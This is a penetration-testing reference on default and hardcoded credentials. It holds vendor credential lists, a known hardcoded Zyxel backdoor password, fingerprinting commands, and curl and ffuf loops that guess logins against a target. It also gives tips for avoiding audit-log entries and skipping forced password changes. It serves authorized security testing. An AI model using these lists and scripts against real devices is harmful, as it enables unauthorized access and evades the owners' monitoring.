Default credentials

TL;DR

Vendor defaults survive into production more often than any post-pentest discussion suggests. Per Rapid7’s Under the Hoodie 2020, ~21% of engagements gained access through default or guessable credentials. Try the obvious five before you write any wordlist.

# Universal first attempts (any login form, any vendor)
admin:admin
admin:password
root:root
admin:                              # empty password
:                                   # empty both - yes, this still works occasionally

# Per-vendor lookups
https://www.cirt.net/passwords         # CIRT.net database
SecLists/Passwords/Default-Credentials/default-passwords.csv
https://github.com/scadastrangelove/SCADAPASS    # ICS/SCADA

# Common patterns
<vendor>:<vendor>                   # cisco:cisco, oracle:oracle
<role>:<role>                       # tech:tech, support:support, demo:demo
<product>:                          # printer admin pages often blank-password

Success indicator: authenticated landing page with the default credentials. Look for password-change prompts (“your password is still the default”) - those confirm you used the right pair even when the response is otherwise generic.

Where this lives

Default credentials show up most reliably in:

• Network gear - switches, routers, access points, firewalls (Cisco, Juniper, Ubiquiti, MikroTik)
• ICS / SCADA - HMIs, PLCs, historians, OPC servers (Siemens, Schneider, Advantech)
• Storage appliances - NAS admin panels, SAN management interfaces
• Printers and MFPs - almost always have a vendor admin password, almost never changed
• Embedded devices - IP cameras, intercoms, building-control panels
• Software products with default install accounts - Tomcat (tomcat:s3cret), Jenkins (no auth in fresh installs), GLPI (glpi:glpi), phpMyAdmin (depending on version)
• Custom apps with seed data - “demo” accounts left enabled after the prototype goes to production

The recurring pattern: anything with a maintenance interface that’s “supposed to be” on a management network but ended up routable.

Hardcoded backdoor accounts

A separate, worse category. Some vendors ship products with credentials that aren’t documented and can’t be changed by the customer - sometimes by design, sometimes by accident.

# CVE-2020-29583 - Zyxel USG/USG FLEX/ATP/VPN/NXC firewalls
# Hardcoded admin account, unchangeable password
zyfwp:PrOw!aN_fXp

NIST tracks these under CWE-798 (Use of Hard-coded Credentials) - well over 500 CVE entries as of writing. When you identify a device, check whether it has a CWE-798 entry before generating a wordlist; a hardcoded backdoor is faster than a brute-force.

The 2016 SCADA StrangeLove SCADAPASS list catalogs known ICS defaults including documented and undocumented entries.

Vendor-specific quick lookups

The fastest path: identify the product (banner, HTML title, favicon, error-page footer), then pull defaults from a known-good list.

CIRT.net

The longest-running default-password database - vendor pages list every known default for that vendor’s products:

https://www.cirt.net/passwords
https://www.cirt.net/passwords?criteria=cisco          # vendor filter
https://www.cirt.net/passwords?criteria=oracle

SecLists

Mirrored, grepable, scriptable:

# All CIRT-derived defaults
/opt/useful/SecLists/Passwords/Default-Credentials/default-passwords.csv

# Per-product wordlists
ls /opt/useful/SecLists/Passwords/Default-Credentials/

SCADAPASS

Industrial-control specific. Often contains entries that don’t appear elsewhere:

curl -s https://raw.githubusercontent.com/scadastrangelove/SCADAPASS/master/scadapass.csv | grep -i <vendor>

Identifying the product first

Before trying defaults, identify what you’re hitting:

# Page title - fastest path
curl -s https://<TARGET>/ | grep -i '<title>'

# Page favicon - sometimes unique per product
curl -s -o /tmp/favicon.ico https://<TARGET>/favicon.ico
md5sum /tmp/favicon.ico                           # cross-reference at favicon-hash databases

# HTTP response headers - server / X-Powered-By
curl -sI https://<TARGET>/

# Error-page footer or copyright line
curl -s https://<TARGET>/nonexistent | grep -iE '(copyright|powered by|version)'

# Default install paths
/admin/login   /manager/   /admin/                # very common
/setup/        /install/                          # leftover installers
/wp-admin/     /administrator/                    # WordPress, Joomla

A typical fingerprint chain: title → confirms product → CIRT.net vendor page → wordlist of 5-20 entries → manual or automated attempt.

Cisco - worked example

Suppose the product banner says Cisco. CIRT.net has 65 entries for Cisco devices. Without knowing the specific model, try at minimum:

empty:cisco                         # no username, password "cisco"
cisco:cisco
Cisco:Cisco
cisco:router
tech:router
admin:admin
admin:cisco

If the device responds to one of these, you’re done. If not, narrow by model (the device’s HTML usually identifies switch / router / IOS XE / IOS XR somewhere) and retry against the model-specific defaults.

Custom apps - guessable patterns

Custom-built applications don’t have a vendor default list. Try the patterns that real organizations actually use:

admin:admin
admin:password
admin:<companyname>                 # admin:acme, admin:initech
admin:<companyname>123              # admin:acme123
admin:<year>                        # admin:2024
admin:<companyname><year>           # admin:acme2024

# Role-based
support:support
helpdesk:helpdesk
tech:tech
demo:demo
guest:guest
test:test
user:user
service:service

# Common "I'll change it later"
admin:changeme
admin:welcome
admin:Password1!
admin:P@ssw0rd

Run these by hand first. If none work, jump to Bruteforce protections to see whether you can run a real wordlist without getting locked out.

Automating the attempt

For known-product attacks, a small loop beats a giant wordlist:

# Build a small targeted list - one credential pair per line
cat > /tmp/cisco-defaults.txt << 'EOF'
cisco:cisco
cisco:router
admin:cisco
tech:router
Cisco:Cisco
EOF

# ffuf with -mode pitchfork (paired wordlists)
ffuf -w /tmp/users.txt:UNAME -w /tmp/passes.txt:PASS \
     -u "https://<TARGET>/login" \
     -X POST -d "user=UNAME&pass=PASS" \
     -mode pitchfork \
     -mc 302                                       # 302 = redirect to dashboard usually

For very small lists, curl in a while read loop is faster than configuring a fuzzer:

while IFS=: read user pass; do
  echo -n "$user:$pass → "
  curl -s -o /dev/null -w "%{http_code}\n" \
    -X POST -d "username=$user&password=$pass" \
    https://<TARGET>/login
done < /tmp/cisco-defaults.txt

The response status alone usually tells you which attempt worked - successful logins typically 302 to a dashboard while failures stay at 200 on the login page.

Detection-only payloads

When you only want to check whether default credentials work without committing to a session:

# Submit, observe response code or message, do not follow redirects
curl -s -o /dev/null -w "%{http_code}" \
  -X POST -d "username=admin&password=admin" \
  https://<TARGET>/login

A 302 response without persisting the cookie tells you the credentials are valid without actually logging you in. Useful for stealth - you confirm the bug but don’t generate a “successful login” audit-log entry for the admin user.

Notes

• First five before any wordlist. admin:admin, admin:password, root:root, admin: (blank), : (both blank). These survive into production at rates that would shock a developer.
• CIRT.net and SCADAPASS overlap but aren’t identical. Check both for ICS engagements - each has entries the other doesn’t.
• Hardcoded creds are CVE territory. A vendor backdoor isn’t “default credentials” in the colloquial sense - it’s a documented vulnerability with a CVE number, and it sometimes affects every device of that model regardless of customer configuration. Search CVE before generating a wordlist.
• Password-must-be-changed-at-first-login. Some products enforce a password change on first login. The default still works - it just dumps you onto a “set a new password” page. That page is sometimes itself bypassable (skip the change, hit the dashboard URL directly).
• Hardware lifecycle. Refurbished or surplus equipment often ships with its previous owner’s password unchanged. Worth trying any password the previous owner is known to have used, even if the device is “new to you.”

Caution

Default credentials are sometimes legally distinct from credential brute-force in engagement scope. Some authorization letters allow “testing of vendor defaults” but not “testing of credentials.” Check before throwing a 14M-line wordlist at the login. Default-cred attempts are usually the safest first move.